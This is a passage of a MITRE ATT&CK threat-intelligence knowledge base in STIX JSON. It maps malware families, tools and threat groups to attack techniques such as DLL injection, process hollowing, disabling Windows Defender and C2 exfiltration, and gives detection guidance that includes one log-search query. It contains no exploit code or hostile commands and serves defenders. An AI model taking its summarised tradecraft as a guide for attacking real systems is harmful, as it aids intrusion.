2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7aa491f-a801-4611-ad07-5096e12c5c5f","type":"relationship","created":"2021-05-26T15:05:36.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-26T15:39:51.021Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can execute loadfromfile, loadfromstorage, and loadfrommem to inject a DLL from disk, storage, or memory respectively.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7af8f20-9581-4b41-a591-118842f8ba6e","type":"relationship","created":"2021-04-19T21:59:12.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:07:43.949Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Oct 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7af9af6-c006-4340-9a6c-80126c5b0faa","created":"2024-05-25T16:37:33.786Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:37:33.786Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) will modify registry entries and scheduled task objects associated with Windows Defender to disable its functionality.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7b34990-24d1-4eb1-a612-8079bf1a2e20","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Medium Detecting WMI Persistence","description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T20:52:04.754Z","description":"Monitor executed commands and arguments that connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on potential connections and writing to remote shares. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-17T00:54:56.924Z","description":"[DownPaper](https://attack.mitre.org/software/S0186) communicates to its C2 server over HTTP.(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.687Z","description":"[Hikit](https://attack.mitre.org/software/S0009) supports peer connections.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7c4ba01-d1cd-4472-bbdb-69bf0ca85da9","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lockboxx ARD 2019","description":"Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.","url":"http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:50:41.766Z","description":"Monitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. For example, in macOS you can review logs for \"screensharingd\" and \"Authentication\" event messages. (Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nNote: When using Security event id 4624, %$ means user names that do not end with $ character. Usually, computer accounts or local system accounts names end with the $ character. When using Security event 4624, UserName and UserLogonId correspond to TargetUserName and TargetLogonId respectively. When using Security event 4624, LogonType 3 corresponds to a Network Logon\n\nAnalytic 1 - New services being created under network logon sessions by non-system users\n(sourcetype=\"WinEventLog:Security\" EventCode IN (4624, 4648, 4625)) AND LogonType=\"3\" AND UserName NOT '*$' \n| rename UserLogonId AS LogonID\n| join type=inner LogonID\n[| search (source=\"*WinEventLog:Security\" EventCode=\"4697\") \n| rename UserLogonId as LogonID]","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.314Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools to download files, including DGet (a similar tool to wget).(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7cdf423-5fed-4402-b970-f6cf2d8df2bb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.687Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) uses a customized XOR algorithm to encrypt C2 communications.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7ce8b92-ada4-4e8f-b073-5a497de7156a","type":"relationship","created":"2020-12-29T18:30:35.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-29T18:30:35.705Z","description":"[Spark](https://attack.mitre.org/software/S0543) has exfiltrated data over the C2 channel.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7cfd2b5-c297-4000-b179-aca649a05f65","created":"2022-10-13T16:21:20.923Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:21:20.923Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has deployed payloads that use Windows API calls on a compromised host.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7d25f15-7451-4092-acb5-1a22095bc3cd","type":"relationship","created":"2019-03-25T12:30:41.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2019-04-19T19:04:56.034Z","description":"[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to write to protected system locations such as the MBR and disk partitions in an effort to destroy data.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Del","description":"Microsoft. (n.d.). Del. Retrieved April 22, 2016.","url":"https://technet.microsoft.com/en-us/library/cc771049.aspx"}],"modified":"2020-03-17T19:12:13.036Z","description":"[cmd](https://attack.mitre.org/software/S0106) can be used to delete files from the file system.(Citation: TechNet Del)","relationship_type":"uses","source_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7d7b5e5-aceb-473b-aeaa-f1287d8d0542","type":"relationship","created":"2019-01-30T14:00:49.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","source_name":"PaloAlto DNS Requests May 2016"}],"modified":"2020-03-17T00:03:45.161Z","description":"[APT18](https://attack.mitre.org/groups/G0026) uses HTTP for C2 communications.(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7d9a45b-0f61-43a0-93fd-7924c9307f72","type":"relationship","created":"2022-03-22T20:09:04.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2022-03-22T20:11:51.660Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can send collected data to cloud storage services such as PCloud.(Citation: Malwarebytes RokRAT VBA January 2021)(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7dd3cdf-f928-4ca3-8fba-0c948eb36c16","created":"2023-09-06T15:02:47.746Z","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:02:47.746Z","description":"(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7dd5b7c-2548-41f5-bfc7-4aaa4af31b36","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for executed processes that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7e049fb-ac90-4e93-8907-eca54ba04ebd","created":"2021-01-07T20:35:35.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary NETWIRE January 2020","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"},{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.588Z","description":"The [NETWIRE](https://attack.mitre.org/software/S0198) payload has been injected into benign Microsoft executables via process hollowing.(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7e5009a-1eb3-4b74-ad0c-53ba0e151935","created":"2022-04-11T17:09:48.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.087Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can gather system information from a compromised host.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Remsec IOCs","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"},{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"},{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-17T02:28:29.747Z","description":"[Remsec](https://attack.mitre.org/software/S0125) is capable of using HTTP and HTTPS for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7eb1606-b003-41ce-81b3-a1c4d5d5e4d7","created":"2023-09-06T14:29:41.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.645Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to send a random 64-byte RC4 key to communicate with actor-controlled C2 servers by using an RSA public key.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7f1b78b-824d-4ddc-a4cc-3fd44d07c4d3","created":"2024-09-17T18:36:44.677Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:36:44.677Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) can set an AutoRun key to establish persistence.(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7f25b51-f596-4745-8c2d-b0fa074a89b5","created":"2022-10-06T21:24:52.826Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:24:52.826Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net share` command as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7f3c107-cf9c-4cb3-9d58-56199962e8c5","type":"relationship","created":"2021-05-31T16:31:47.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:47.877Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has used AES encryption for C2 communication.(Citation: CheckPoint Bandook Nov 